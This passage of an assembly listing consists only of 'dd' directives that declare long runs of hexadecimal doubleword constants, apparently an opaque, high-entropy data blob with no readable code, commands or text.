940221C0h, 515382Dh dd 52EF56B1h, 2CC0C041h, 0FD0676A2h, 83975418h, 0AD030016h dd 20EFF8C5h, 7C030A7Dh, 0E3FADC4Fh, 9CD0F024h, 1DCB1DD9h dd 0B739C091h, 0DC0D9A2Dh, 43F2AE05h, 0A9C0B984h, 9E25E5h dd 0D0C05082h, 0D1E47E5Ch, 1500F976h, 366FA228h, 556608h dd 0E6A6EDBBh, 702BC159h, 7DA91800h, 56C4F3BCh, 0FF7A1D48h dd 669F81A1h, 533B3064h, 0C3F16780h, 0AA8DE892h, 47EF9600h dd 9374F861h, 31850149h, 0BA897C43h, 0EA9C408Bh, 0E388182h dd 36F4D420h, 1A969500h, 0C1AE80A7h, 0BBA51CE0h, 4D6DC09Ah dd 0CB35D4DAh, 0D53E2003h, 0C894A957h, 32C369h, 13B08F0h dd 928B4785h, 0C0CAFA03h, 0A8F82B79h, 13302E3h, 0AEB22D1Eh dd 9C6CCFEDh, 0D585370h, 0CDA7C1h, 0D3BBBACCh, 5B488D95h dd 0F351E700h, 0B5CFEAF4h, 0F2930089h, 39F07204h, 80FFEF37h dd 0A1B35CB8h, 3D35A9D2h, 0EB0190ADh, 38EE084Bh, 50F84007h dd 0CE74936Bh, 0B45330C4h, 3CBCA490h, 6C0F00B2h, 0F64BED17h dd 0D90C1A1h, 1FE4180Ah, 28808C7Bh, 770CB708h, 4367BDAh dd 0F4D5EA20h, 0FFC0AA4Dh, 6EF67Eh, 95926F7Fh, 4B12FA44h dd 0D000AC7Ch, 45560E7Ah, 1A58E5Dh, 47D3547Ch, 0C5BD4C49h dd 8491D048h, 0CEF720C0h, 7C23F7Ch, 0C618B97h, 3687707Fh dd 5C00EDD0h, 0BD45572Eh, 1E98F37Dh, 0BFA71DBh, 9D06C9DCh dd 920E2142h, 220FF2F7h, 43CF2625h, 0F8813E59h, 0B580A83Fh dd 8C79F3F9h, 500106Ah, 26C5ACD5h, 0E5DA7Dh, 0F9953751h dd 8E5736FDh, 4578DD06h, 36FE4B40h, 50204A55h, 632370C0h dd 0C03B9CBEh, 53886511h, 0A2068D9Dh, 0A1C680D4h, 21106508h dd 0F2D5C005h, 0A30633A7h, 51F8B397h, 0A4FA0BE8h, 2E8960A6h dd 0E964D81h, 0F7698018h, 0B3511CD4h, 0F4AC385Ah, 0C7F041Dh dd 7420408Eh, 0B51FCC00h, 653E5819h, 90D87213h, 4DA62A67h dd 40FF008Ch, 8FD33203h, 480047F2h, 0E6BDA27h, 0F7CE9Ah dd 7AAEE78h, 0E8135F63h, 0C4E84762h, 0A37E025h, 77C0009Ah dd 9C57911Ah, 0BE0730CDh, 7D82F8E0h, 4D454F10h, 3BD729BAh dd 1854DF04h, 114106B7h, 0E4FEDEEBh, 9B040A03h, 0B86284CBh dd 0CDF474Dh, 5420F93h, 3D11F718h, 13224568h, 0C69AB418h dd 60B3A548h, 770960F6h, 20CC63FFh, 8D793Ch, 5C4247B7h dd 86F161D6h, 8572F300h, 3A7345DEh, 0D97C15h, 0CA2E90C8h dd 0EA3E5264h, 0FD01E678h, 0FB51D844h, 0DDD0BFC6h, 33D7035Fh dd 391403FEh, 90EBAE0h, 19F4E701h, 93480A86h, 0F7D74040h dd 0D0CC6059h, 24ADD6Fh, 0F9DA6101h, 3344FB09h, 19B11D0h dd 0D9AA3E34h, 80BB253Bh, 0B4D710B9h, 0F411EAEh, 0E0204756h dd 4953DAC0h, 7430C452h, 665E6922h, 462F1EBEh, 50ADC08Eh dd 9AF81225h, 0D67C7200h, 0B8143BDDh, 267C2Ah, 69963A5Dh dd 0AF3476A7h, 0A441C003h, 0B83CAC13h, 0FA8958h, 433BE862h dd 0BAAAE0Fh, 8B1CEEB0h, 0EF401C3Fh, 0B812392Ah, 2CDE019Ah dd 59355B6Fh, 0C125E0C7h, 65FDE401h, 8628F3BFh, 189B46h dd 0DD1B0612h, 3F09279Ch, 1FF12103h, 98C0A099h, 0EFB83Eh dd 6C47A69Ah, 0BC143484h, 0BE77FF39h, 24852BB9h, 44205808h dd 5689409Bh, 0F808D40Bh, 9F233E9Eh, 137A2200h, 0C0C668AFh dd 3812FB03h, 0A0593B41h, 0B802A43Fh, 68E60FD3h, 0A5CC253Ah dd 4A1FB690h, 519CE5C6h, 2ABA7Bh, 0DA7ECB3Eh, 0DE5C84h dd 6153731Bh, 2D39EFA5h, 50AEFB1Fh, 0B0E8CD1Fh, 3050588Ch dd 10F9997Ch, 0C0FB2F07h, 2AD3D628h, 462AFD7Fh, 45768068h dd 16A885Ch, 6761A05Eh, 0BC502633h, 1977CCBh, 0C216E513h dd 0CF39FE90h, 60E43FE0h, 75938000h, 0D2A5C34Ah, 79B7C7Bh dd 96C03C2Fh, 76CD30A4h, 0BD7CC94Ch, 9B509261h, 5CECE71Eh dd 0DA70C03Bh, 0E8E4D06Eh, 0DC381D00h, 0CDB94026h, 0D2AF2854h dd 0AF48F8B0h, 0F96804F4h, 1DAC0717h, 3C0F683h, 96E79720h dd 68011970h, 11AA52C4h, 1AF1CFECh, 0FCB84095h, 0CC9AAD00h dd 7B469722h, 0E114D2F8h, 0C434C5F5h, 0FE30FB24h, 0EB3D8891h dd 985E98C2h, 0F2DAC328h, 0C4410172h, 1DFE1EC5h, 9B7C2037h dd 75772D00h, 0F3B4354Ch, 27570022h, 920281C4h, 1F006F7Fh dd 0D6855E7Eh, 94E820h, 807B1097h, 8E7C0C23h, 87CBC200h dd 51A2218h, 0F0D67A17h, 14503E33h, 0AB3B7280h, 0FBF986Fh dd 11485360h, 1C61E504h dd 7CC1F818h, 0E87F1860h, 7E1E7B5Ah, 0A58DDA89h, 3EF0207Ah dd 0AFE05Bh, 43AE0BEBh, 378058E9h, 8ADE0E00h, 4E19D8CDh dd 0FA231918h, 0FC77B89Dh, 0C63045CCh, 6ED3707Fh, 0D0C3086Ah dd 500C098h, 5E0C6809h, 8010605Ch, 1A663B56h, 529C4A18h dd 1C7791A8h, 0A645D206h, 0F9110079h, 7FB40903h, 512828C4h dd 0E16FA343h, 560A787Ch, 344CD04Fh, 0D4247100h, 0F8FCE76Eh dd 0E919D858h, 90006DDh, 94277795h, 78ADD17Ah, 26900C5h dd 0AC3567E2h, 0FA0FAA51h, 0C21521EEh, 761EC836h, 0E9873EB0h dd 6AE77447h, 5300388Dh, 5C504D01h, 0FC12D160h, 83006606h dd 292D8B1Eh, 3DB9F26Dh, 2C80145Bh, 8E7DD12Eh, 8500EB2Ah dd 1A56CA88h, 5B60DEAh, 6FCB3022h, 31F018F1h, 0AA3ECA8Ah dd 0F26E8195h, 0E16CDDBAh, 94D9F0h, 4C0CD8Ch, 0DC545A4h dd 0EEE3Ah, 0DE705732h, 3F430CD7h, 30835FC9h, 2E08A664h dd 0EBE01001h, 38CB8C0Dh, 0FE2FE4C8h, 265300A9h, 76569334h dd 1A0028EBh, 5FD4038Ch, 803DB4h, 0E7B608A3h, 51718D53h dd 926C8601h, 337A8A0Ah, 9058A2h, 493885E6h, 1A075B83h dd 0CD63E80Fh, 8A0E4Dh, 771C7196h, 27AF198Ch, 0D14291F1h dd 8BDE0E4h, 6053660Ch, 34C18CDh, 6A7950CCh, 0DDD86298h dd 0BB00E81Bh, 0E79DA0C2h, 0C0504C77h, 71E55F41h, 0A5001C98h dd 6604328Bh, 1AC9A4Eh, 0BC4939B4h, 401EFB8Ah, 0AFCB0ED0h dd 0E209D070h, 0EBBE85h, 86B8EFB7h, 39C22817h, 8EEE0AC4h dd 8E94CF33h, 1A002064h, 0F6B9B2D1h, 28C31930h, 189CAA84h dd 30EDD299h, 9E80F42Bh, 0BC7F0011h, 49C2E8FAh, 20F39D6h dd 0E731981Ch, 0B1F7962Ah, 1C26F346h, 0CE85698Ah, 8480E920h dd 4CAA57E3h, 0B364151Dh, 4F0BF000h, 740A9D3Dh, 3B7798h dd 5193CBE0h, 0CF32175Dh, 1CA4EB00h, 2588BFA7h, 0EAEF1C68h dd 415F12FBh, 63A0E004h, 0D509E038h, 2BE56500h, 0B58C8F27h dd 22490A3h, 0BA11C24Dh, 5405642h, 0BF0037BCh, 4736B4EEh dd 0D471F4h, 0BB6550D1h, 25A6B0EDh, 30EBF3Eh, 5A354732h dd 0E7297830h, 7CAB85E8h, 6F17C44h, 195B61FCh, 0D0002048h dd 63E21FD1h, 2F1F53Bh, 0E56B7018h, 72004FDBh, 1D051FC6h dd 0F31CC4E0h, 2820B460h, 10E2EF6Dh, 1C00FB53h, 0B2671FD2h dd 0D6BA2EFFh, 0E54400B1h, 87305F31h, 38A4741Ch, 21AD2F0Dh dd 22655090h, 7F99C0EFh, 0E92F0103h, 129336Eh, 86A48EB8h dd 19EA6099h, 74E0817Bh, 1FC72F0Ch, 753798F3h, 3BFC007Dh dd 4D89F1EFh, 0B20072A0h, 6F2FC6A4h, 0A4F81186h, 7BD00088h dd 0C004F23Ch, 180FDBD4h, 0A03646CBh, 0B19DED16h, 7C1E3A97h dd 9BAD6B00h, 0CF0E07CAh, 6D893600h, 0F34EE563h, 72BA07E3h dd 40B2F10Dh, 0AE7D672Dh, 0CC9C40E9h, 90169660h, 5706AA3Ah dd 13947B8h, 5D4178D7h, 57E6F761h, 7E26D3BCh, 44EDFA0h dd 0C3761976h, 2306700h, 0FFE9C1D7h, 0A0A954EBh, 68F6301Ah dd 0F098C421h, 0B0EC5800h, 0E5FD6115h, 60E73A20h, 63C10048h dd 0ECC46450h, 42A6C85h, 9F06BC56h, 31781C8Eh, 77BA0410h dd 58A96A05h, 0C769E499h, 0ACF199B8h, 0CC7E9651h, 1724E307h dd 4351B398h, 84DAA669h, 4890395Ch, 78F2A96Ch, 0D893092Bh dd 2C00A3FAh, 0EB6D4BB6h, 87746998h, 0FD30ECA8h, 306ADEEh dd 0C86659E6h, 0FB7130F1h, 542BBA48h, 335089FCh, 90C386Ch dd 2846C0C9h, 413500B2h, 6EC4F06Bh, 0BA527A99h, 0B02C30BCh dd 0EA20E74Fh, 0B5043D59h, 0B034AC8Fh, 0DCF018F5h, 8103F1C2h dd 0C6DA5CB4h, 0E7A9099h, 189B1598h, 4703FC7Dh, 39C84A71h dd 9600A875h, 73B25B68h, 73B6B2Dh, 6099B3D2h, 0AABAC38Dh dd 40BF7689h, 0A4134374h, 4614905h, 4043E515h, 8CA30DA8h dd 6407B8C0h, 921618F8h, 913239FEh, 90B97305h, 8C036778h dd 1E688826h, 4A309C8h, 0C36E0EA5h, 303AF3C2h, 0B5BE13CCh dd 0DF318E00h, 0A87B4C60h, 7E582FCh, 30F33D1h, 3080695Ah dd 37679970h, 0BE6D3E0Bh, 5B8C0687h, 24F7F0F0h, 80184514h dd 0DE75188Bh, 0E75494EDh, 2502BEECh, 7B389773h, 0FB876050h dd 71671EE5h, 645187B6h, 0B71B600Ah, 0A94D822Fh, 0F349016Ch dd 38980468h, 0EFA08060h, 5C433880h, 1AEE218Dh, 0F13B2501h dd 0D76C2DD8h, 43D5084Ch, 0FBFC1619h, 5F15DE0Fh, 113A033Fh dd 0E051E1CFh, 856310h, 0C4537A68h, 1BD4614Fh, 0E286552h dd 4060FBACh, 6472AA21h, 70404C8Fh, 0B9BC400h, 1CF4437Bh dd 0E5C98C00h, 5C4B18D7h, 702F02BCh, 507AF51Bh, 2C61908Fh dd 8036CC46h, 0F939FD18h, 74AD7242h, 37EB097Bh, 0FC940E23h dd 0A1706120h, 0F01774FCh, 453CF2A5h, 66E56D0Ah, 4D83C044h dd 9BE3311Dh, 6F22B8A1h, 0C9D4A8E6h, 0DFA009Ah, 0D238B33Fh dd 2F3ABD69h, 504483Eh, 1A6F1D4Eh, 0C0000C84h, 0BB14C729h dd 0A05AB072h, 60211817h, 325FF033h, 0F21F6D3Bh, 354E027Ch dd 0E96CE219h, 9B701FCh, 0B432004Fh, 0EBB92A8Fh, 3BFD1894h dd 0B1163862h, 0CCE2303Fh, 0B97B0058h, 470368FBh, 2108A4F1h dd 4383F015h, 0ECF2B08Eh, 0C0048C5h, 59669B51h, 0E3761E5Ah dd 0EA2F0ACFh, 0E7F77044h, 0DE0EAA7Ch, 19FB50h, 0DC5AECE8h dd 6D6900E9h, 1FE14ECCh, 2E0035E7h, 17444BAAh, 0C8EA36B3h dd 0C547E238h, 6ED6029Fh, 0F6FC482Eh, 0DD050ADBh, 80D068B4h dd 0F1D252C2h, 22F3ABB8h, 0B89926C8h, 0A9113B0Fh, 0CC3B883Ch dd 0B4C50162h, 0A46648B0h, 6EAAA080h, 0A4A3F17Fh, 0D1E035B0h dd 3E30B0A0h, 0AC1D4403h, 0A81AB137h, 14195003h, 8B08D63h dd 10025B23h, 42D1E65Dh, 6BB0A77Ch, 41EF51F2h, 0F420D25Bh dd 0D0804919h, 66557008h, 0C02F400h, 86C422h, 0A51885ABh dd 210360A3h, 0C44CFF4Dh, 84C0381Ch, 50AFC665h, 495C846Ah dd 0B917747Fh, 63504008h, 4B9BE001h, 53181B00h, 806DE978h dd 314600A7h, 0C511735Ch, 3A1D0371h, 0A011651h, 0E06689E2h dd 370860h, 649A4FD4h, 0E34DE4C6h, 9B026C90h, 0B1FD4A1Bh dd 0BAB441D5h, 0F100B027h, 91B0EE24h, 0BDE930ADh, 10CC8A1h dd 0BB1AF377h, 4424E602h, 98617169h, 0A18C8E0h, 0EEFE709h dd 0D450C010h, 4CAB65A6h, 78001039h, 7CB09CCh, 0F518BC86h dd 76183326h, 0E0AF7A29h, 0A6BE02B1h, 3519E849h, 6F896CC8h dd 64CFFE06h, 91A3CEh, 273F66Dh, 0FF6E53F0h, 7ACADD03h dd 0E8F1E611h, 0A5BF41Eh, 227E13B9h, 79DC50C0h, 6C050CB0h dd 95A6987Bh, 0F5804CC4h, 3826EB34h, 5F076A48h, 32F2F671h dd 0F88272DDh, 18A2B9AFh, 3096D0CFh, 98EAC20h, 0E34B0C63h dd 0EBBBC020h, 13001DA8h, 0B1FB8BBEh, 2F006ABh, 0D3C5AD9Bh dd 0D080E47Eh, 6D7C1CA2h, 45FAE109h, 0D270832Ch, 3849F029h dd 28E87CAAh, 90C2D35h, 0B0F64262h, 0E3711448h, 986C102Ch dd 0CEF01130h, 0A8115C49h, 5034FA03h, 0FDB0E9F7h, 9E3E517Eh dd 1AE306DEh, 0E6B83748h, 76E7FAD7h, 165FC62h, 5FC65A30h dd 2044469Ah, 590570F0h, 0AA456C8Eh, 51CCD803h, 72110181h dd 0A0ADB2B7h, 9F81892Eh, 809E0978h, 12E7D4A8h, 0FC13500Ch dd 93171CCCh, 9A2F0BF1h, 341AB820h, 657CD7D2h, 0D122BD1Fh dd 0ACE17602h, 81FC62B9h, 6B4C5A94h, 0A0D1BC24h, 3E3F6C4h dd 0DCAA9B1Fh, 14A39AB7h, 221C211Dh, 0C91D5480h, 1E2839AEh dd 0A84D83FAh, 0E2E70988h, 18000136h, 1A33F964h, 100ADB31h dd 6028CEh, 5460B84h dd 5C27E3B4h, 0D76D1092h, 4F2EF060h, 0F43E9566h, 1F2180F5h dd 0C3106E48h, 0C25A1401h, 418D041h, 0C76C21E2h, 52294709h dd 8A1E00ABh, 3E8DCB5h, 0DFE323E1h, 4AF9B79Ah, 7138984Dh dd 4CEDF1C9h, 220094A1h, 615BF3B2h, 0CE50DF9Bh, 911B1DE0h dd 2318FDA9h, 8B007EB0h, 4860C86Dh, 0AA778651h, 5F3C80h dd 0B7C7F6Dh, 7432A46Fh, 37398C01h, 0DB8EB970h, 0F41AEC40h dd 0B4E66Ch, 4F466A0Ah, 2CBA05D0h, 56CAC902h, 0FE0DD9D7h dd 0FF43003Fh, 82939B9Fh, 4DA77F00h, 808CFCB0h, 7A25008Fh dd 54554BD4h, 53009149h, 0BFAD5CDFh, 0F8B112E5h, 1EB60004h dd 78A5141Dh, 0E0153DDh, 640C9B41h, 29B8C6A8h, 8A2206A2h dd 447A22B3h, 50C32622h, 0A113284Dh, 508C614h, 0C089C844h dd 11408651h, 470078B8h, 0EBC56E0Ah, 0F5B8E2Ah, 58AEF0C0h dd 5C0C87E0h, 65009ACFh, 24495FAh, 68191Ah, 0A51349Dh dd 0BCEF2EC2h, 15B9E48h, 83801DE5h, 0C3D14625h, 0EE88260h dd 0BF381322h, 5DAAE1E0h, 0AD005316h, 6BFFA56Fh, 3EDDCC2Eh dd 0EF00478Ch, 0F26C801Bh, 3807C742h, 63120FA0h, 2CB14B0h dd 92A80090h, 5A1C6236h, 8D01B6B4h, 0A4C55B3Dh, 9BE06753h dd 0D41907B7h, 43DF5A8Ch, 0C0C82F78h, 817A10D3h, 0D6EA0A01h dd 18418B13h, 801CCCh, 0C33D534Eh, 5D54D789h, 398E48h dd 7EA64213h, 0E4903698h, 0E83C00C8h, 0C314661Ah, 4A001F11h dd 8C2AC663h, 5442B36Ah, 391F8DFh, 0F6689DD3h, 0C800C014h dd 0A786ADE1h, 8F220Fh, 0DADB23CEh, 0CCF68C5Fh, 1BE8A400h dd 15711086h, 1C975C2h, 0F79C8140h, 0C0D146BBh, 0E00FC0Fh dd 0BE73128Bh, 25397F9Bh, 0CAD4E004h, 968A7900h, 0CD0743h dd 378B5264h, 122FEBD9h, 0B3468600h, 0AC45D8E0h, 0FFCB3A71h dd 6144BC00h, 5A78DCA1h, 2C156F00h, 8C839673h, 11520309h dd 0CF8E6D0Bh, 94AC1FE8h, 0E3F72000h, 5C453305h, 55900Ch dd 79CA43EAh, 636F90Dh, 0CD442100h, 0E023C85Dh, 88BC5058h dd 8D53009Fh, 0A346ABC9h, 5A01B57Dh, 0ED59E41h, 32ECA4DEh dd 9B4F00FBh, 0E4AFD01Dh, 0A812E1FCh, 0C03BCFFh, 0CAA1C33Ah dd 0EEA8E0BFh, 69AD00ACh, 4C2A0EABh, 0DD00D416h, 92980DE0h dd 0BFFF1Fh, 3B175695h, 0CE4FE5A7h, 39EE700h, 23F39FC4h dd 335904F0h, 801C1693h, 0A9E57F2Ch, 0F43ED514h, 609D00C4h dd 0B00613DDh, 53425865h, 7F73CA1Fh, 0BD5899B0h, 0D201F9A7h dd 46ADA30h, 0F8C78F41h, 15BD0BEh, 7A85BA29h, 303E7C49h dd 0B0002BBh, 260D8E2Ch, 7CD93C03h, 6C5F0077h, 6A8B90B1h dd 0E1007B98h, 0F3A97A43h, 975141Eh, 3FB3A717h, 0C8C62C18h dd 0D8001DF2h, 92854EF3h, 0FA2FF5A3h, 609FE03Dh, 0F884C0FBh dd 1A3F45BCh, 0ADDA0058h, 907D9720h, 4BE73892h, 4D8B7207h dd 3A80C0A6h, 83BB879h, 0E86900A8h, 0C60EB7FEh, 0A6DC001Ch dd 65951967h, 2C7FCE0Ah, 5514A975h, 3EC0CDCBh, 433F13DDh dd 17897201h, 0E270D0C4h, 24D8028Ch, 8685CED6h, 0FF0A5A40h dd 50261003h, 0B82B9061h, 0F7789C7h, 3428BD8Ah, 0E3C69640h dd 0EE00BE3Dh, 0DB86463Ch, 35798A5h, 7E1F0952h, 0C383D9C7h dd 2053C9E9h, 0CD000FF0h, 0E4D2D825h, 0EB1174h, 84B099FDh dd 0B12605A2h, 969C6700h, 771ABDA0h, 83B6004Eh, 245F5940h dd 7C00F87Ah, 132E0574h, 78FE98h, 0D8A7E0ABh, 0E5B96E34h dd 8A0B6F00h, 98315B7Dh, 2F401F20h, 1754031Fh, 0B7A0832Dh dd 6B00EBC1h, 82E60EB0h, 0A6D96Ah, 8EF9A5DCh, 28F2B54Bh dd 4D16600h, 0BD1AAB84h, 82949855h, 0B17480F4h, 0B4FD40h dd 0D1EE8296h, 2003719Eh, 0D0BDBA00h, 801A61B9h, 0A50A0052h dd 0B385DF6Ch, 16006877h, 41C0FB5Ch, 0B071963Bh, 0D98C071Ah dd 0AEBE8A95h, 0E9B81F60h, 93E66BF1h, 0DB09DA0Ch, 0A821D8h dd 71553BB6h, 768FC7EFh, 0EAE1BF00h, 0BD90C203h, 2FD8287Eh dd 36CF4BAh, 0B4F8E26h, 0AACB27CDh, 87771B80h, 1306BE00h dd 70BAB322h, 53D0043h, 0BB46FDDDh, 8900865Dh, 26BD3373h dd 1AE652h, 0DC9AD6F3h, 674238D4h, 0CEA6D800h, 706DDE0Ch dd 7FA20015h, 0C3D2B4FAh, 0E6E223C5h, 0AADA9B03h, 98AB9858h dd 336A26h, 210EA155h, 0AC07B823h, 0BB994B00h, 0A77131F8h dd 0F5810132h, 0F2166386h, 0CBA020E5h, 0BAE4290Bh, 47042360h dd 0BC4A86Eh, 2B7000E0h, 7EF2CF4Bh, 20C0ACA6h, 15399388h dd 2673018Dh, 0D895272Ch, 0A26EFC4Ch, 0E70ECDE2h, 7CE3A7B9h dd 0DFAB3E00h, 509CDAA6h, 0A3E93Ch, 0B89B04CAh, 5091C911h dd 89E37A00h, 0FF98C199h, 0D98B033Ah, 0E04252ABh, 86948590h dd 0EA890900h, 796D3992h, 0B4A4A0E6h, 333A0010h, 0D1F68DE7h dd 0D3072DA8h, 8F8CB5A5h, 34491D0h, 6DE3D09h, 0C6006A3Dh dd 9ABD6E81h, 5F01A7D9h, 73C5433Ah, 6AC0E8D8h, 773E1463h dd 7E8CE6h, 305B6545h, 0BF720E69h, 122E9F00h, 2DCBA461h dd 8B27007Dh, 0AEEB1650h, 0AA004EA9h, 0FCEE0638h, 4C8D216Bh dd 22001854h, 0DC270F3h, 4805B9F2h, 91199780h, 0E8A9C080h dd 40EEED03h, 243947Ch, 184DC37Ch, 1BE0352Ah, 0E3052E61h dd 91BB59EFh, 0B3AE99C0h, 0AF24006Ch, 6695D3C7h, 414C356Dh dd 3BDC002Ah, 0ABBCE353h, 997E04h, 49054292h, 347F11B3h dd 58D52812h, 1A03A0FCh, 0F9A1E28Dh, 61E04798h, 0F1590100h dd 0B609799Ch, 1C290318h, 0F8CAC2D5h, 2C6688D8h, 36A3400h dd 2FDDFE26h, 0E2D828D4h, 158C0798h, 0B2CBA744h, 8460703Ch dd 69008F5Eh, 7191658Dh, 78779F94h, 0EE171FE2h, 645E839Dh dd 47C0435Ah, 0BE28F7D4h, 4800BC53h, 0A3FD7891h, 5FDE1Bh dd 0C8BCE0AEh, 29DD93CCh, 18174B30h, 350BAF8h, 0F2860E5Dh dd 4803207Dh, 3F798289h, 171126B1h, 60E103F8h, 3DA8C088h dd 5930692Ah, 2C5EB8E0h, 758F00C8h, 14A5824Fh, 5098A254h dd 683EF401h, 45EF950h, 0F524320h, 0C2FE51DFh, 0E004F20Eh dd 7CEAC095h, 170226B9h, 0F611B6AAh, 0CBF480C4h, 2530BD7Dh dd 8EC082B7h, 9D006F16h, 0B39CC1DAh, 0E423BFh, 75B808A6h dd 2EB46140h, 47E10700h, 15664AB7h, 0C751077Dh, 0C0C47365h dd 96C6A0D5h, 87D0CA3Ah, 0FDD8C1E4h, 821BC580h, 4AD313E6h dd 0BE050370h, 0FA9B5F84h, 80F036A8h, 35518300h, 6249416Fh dd 2CC23CD8h, 336BF587h, 3878F07Bh, 0E300AEB1h, 0CB474955h dd 0F3BA669h, 0F0D9160Bh, 0AF8C6B80h, 1D76A9ACh, 0DB677216h dd 1822C00Bh, 61EBCh, 6EC7D426h, 69DA1499h, 0EAD8A803h dd 0F92162A5h, 0FFD43175h, 3F7700B7h, 6943194Fh, 0C8A9CC08h dd 3C2420B3h, 0EAA8FD16h, 63FEDC00h, 24A1D1F3h, 72C950Ah dd 51A3E42Ch, 0FC105845h, 2B07E8BFh, 69DC044h, 12F15740h dd 529830C9h, 5BF0C20h, 54033A78h, 25B79A5Dh, 0CD8800C8h dd 847B6F47h, 0AA0F4C19h, 782BF4A1h, 72DFD8h, 0CAD6A552h dd 0A8371FA9h, 8B3E0400h, 993B185Bh, 0B9A105E6h, 0D05E7CE9h dd 0EE973324h, 24CA0D00h, 0A5B2A3Eh, 1CF10099h, 0C5660687h dd 430349F0h, 94B372FFh, 0AD3AE86Bh, 1D649815h, 0C0D49EF3h dd 5FDC81FBh, 9F00EF77h, 0C5F5A020h, 7398751h, 0DA032F52h dd 0D0E2A086h, 18000B67h, 16A1A656h, 3AF05277h, 0AE803ADFh dd 6F66919Fh, 0D0C042ADh, 0F4219CBBh, 0F17B2Fh, 0F9476EDh dd 0B26EA08Dh, 0A789D4FBh, 32297201h, 0C90B1D8Fh, 0EB31A02Fh dd 8C1C4Ch, 69316F8Ch dd 171A841Eh, 0E37855h, 0B504E00Ch, 1C00F4D7h, 14BD2548h dd 68FE3Bh, 793CC05Bh, 0A3228FBBh, 0E56A990Fh, 0D19AC1E2h dd 42CCD61h, 199813h, 0ED47F748h, 44003717h, 0E5B0F265h dd 509FF14Ch, 7F4A660h, 0F3B5206Fh, 0F2B100C2h, 0D407928Eh dd 0E7BD2B0Dh, 16578800h, 8F030380h, 5D262F8Ah, 5F4720A7h dd 49601BDBh, 4CB3CD11h, 490C3h, 297C652Ch, 390A717Ah dd 0FFC99E02h, 61F6CD47h, 0A8306FCDh, 0D4ED0050h, 6C6946F4h dd 270361E3h, 1303F172h, 5325B0C7h, 0A04F4CA5h, 0E0E4E987h dd 0EE1A2410h, 88957000h, 9B122D5Eh, 0F87500E7h, 0F43622A6h dd 0F0E52E37h, 861F07F5h, 0A9C7FCC8h, 7FE05C92h, 394A1h dd 2F99229Ah, 0FA7A46F3h, 81BB2601h, 0CD0488ADh, 9D8CF0h dd 0F6C94782h, 18B75E89h, 85D5F31Eh, 0D805F74Fh, 42007BCh dd 6F776BA8h, 5C7480CAh, 131EAB9Ah, 0B81CC4FDh, 919E2A41h dd 0E4706042h, 991B0097h, 366F7FBh, 0C0B8D12Ch, 2482F400h dd 167036D8h, 0D5FA0FB8h, 6500512Fh, 4D4A91A9h, 7FAC5D00h dd 2A8A0C0Ah, 69A70099h, 0A99CC560h, 0DB0019AAh, 0C35AE116h dd 73563DCh, 0FAFFD032h, 0DF54F024h, 0CE4E4CD4h, 0CFE21430h dd 11B000B8h, 89911F03h, 0A401F433h, 5F5243A8h, 9DF0E7B7h dd 98B9308Ch, 6F46801Ch, 1B396A00h, 0E5B50A85h, 4AE600AFh dd 99DF5E01h, 47708DA4h, 750041B8h, 0C0222AA8h, 751A56Fh dd 996654Eh, 56E960D6h, 0AE00588Fh, 9964B4BCh, 0FCD4235h dd 1846044Ah, 45C06700h, 71FC0C3Fh, 600EF103h, 0C8526AD9h dd 7A6D655Eh, 0D16120Ah, 4DA7E0B8h, 8634CA05h, 0BCC042BCh dd 0B84E7480h, 0EC2B0034h, 0E15F46AFh, 683DEE61h, 74E600F7h dd 0CBE0F0DAh, 27051D5Dh, 0E4DE94E2h, 295B5700h, 0C9AFA5F1h dd 2C27F00h, 0B4631FEAh, 99D20045h, 5DB862BBh, 0C0B0D8DBh dd 0B50F8500h, 4F74B177h, 0CB4B0052h, 0CF5937F3h, 0F1FC84EAh dd 0D20EB600h, 0E6297E6Dh, 20880082h, 0FFDC497h, 0FF0009DEh dd 0B769953Fh, 1CB8CE0h, 0CDE806F0h, 30D4F8F3h, 0A22441E0h dd 2B01648Bh, 43EC7534h, 40A81474h, 593EE3ADh, 0D09877A6h dd 66266E07h, 0D320D1D5h, 60F88511h, 0BEDA58C5h, 0D61283B4h dd 0DC00CDEEh, 6985F656h, 0D0B824B6h, 4139004Ch, 7F57EE6Dh dd 6263441Eh, 205956CBh, 0C467D714h, 4D6D00F3h, 3CF67E71h dd 6B16BCB8h, 684454A1h, 4500995Bh, 7F46198Ah, 0A5A39h dd 61183607h, 1885B9A3h, 0E0E9CFF2h, 26286D8Dh, 0C500D99Bh dd 4CC7F9B5h, 7312B3C8h, 3EE30011h, 3376EEEBh, 80B8F05Dh dd 0FAF8C360h, 0E25740B5h, 0DCA03EADh, 0EE1AF818h, 0F10E7A30h dd 0CF348B94h, 7888006Bh, 1D7F77h, 86120343h, 0EB51B4B0h dd 731AA500h, 9BACE628h, 0B68948ABh, 950BBE00h, 0AEBF0A57h dd 0B550CB00h, 9A06CCB4h, 88910034h, 0BD79A899h, 8C00746Eh dd 0FFA92D97h, 48D59D33h, 610530B9h, 405153F3h, 23C4E78Ch dd 5F023641h, 63528FBFh, 0A748605Ah, 0F1C1675h, 0A4BB0F72h dd 0AD280941h, 6EC5C02Ah, 5F9A6300h, 3B9F4E0h, 0FFC0FF4Bh dd 0F2AC2427h, 15F42730h, 58C0D013h, 0E0F8898Ah, 0B3F90081h dd 93929174h, 9516584Dh, 0B4007EB7h, 0E63F2A19h, 4024B49Ah dd 0B87343AAh, 68B82798h, 1D01BB7Dh, 67234480h, 0E80EFD9h dd 0F44EF7C5h, 560FEDB0h, 8BB1A3FCh, 6BC8002h, 4F5D7AFh dd 115FDE1Ah, 78D8820Eh, 3003CC40h, 0E32A5600h, 97B60F05h dd 0A5B702BFh, 263B5417h, 0D132CA60h, 0B0274E00h, 75A3DED0h dd 0FEAA26E2h, 9ABC00FAh, 6CA857C3h, 72639607h, 8D40496Ah dd 0A8364271h, 0A06E45A4h, 1B5BFE1h, 0B2D92E19h, 0D09A5E0Eh dd 68014404h, 25D632D4h, 547471AEh, 0C9080h, 0AF03BB87h dd 75F0F26Ch, 0CF9BF2Eh, 0FC8E5018h, 0F63B7031h, 2E37620h dd 3358B6D7h, 4FE0C390h, 410167D8h, 0F0AA5B92h, 69FCCD07h dd 5E860339h, 0B1CEF713h, 2E1DCCC0h, 66000892h, 0DD6E5007h dd 5F7CA9h, 0B157F645h, 0AC095BD5h, 4FD15E18h, 30CCD4A0h dd 0FA392DA3h, 7001B014h, 1CAFB6B2h, 1880A94Dh, 0C3B14EB4h dd 83001EF5h, 669E33EBh, 82CEDDh, 0B5CD20A8h, 0F6E61A8Bh dd 0D4EC4C00h, 0DD155439h, 394F0CBh, 6BB13E21h, 0DE9306B9h dd 0B8A58B88h, 0AFDC5E0Ch, 7E4B8858h, 0C124336Fh, 7CB81D21h dd 7F1D5550h, 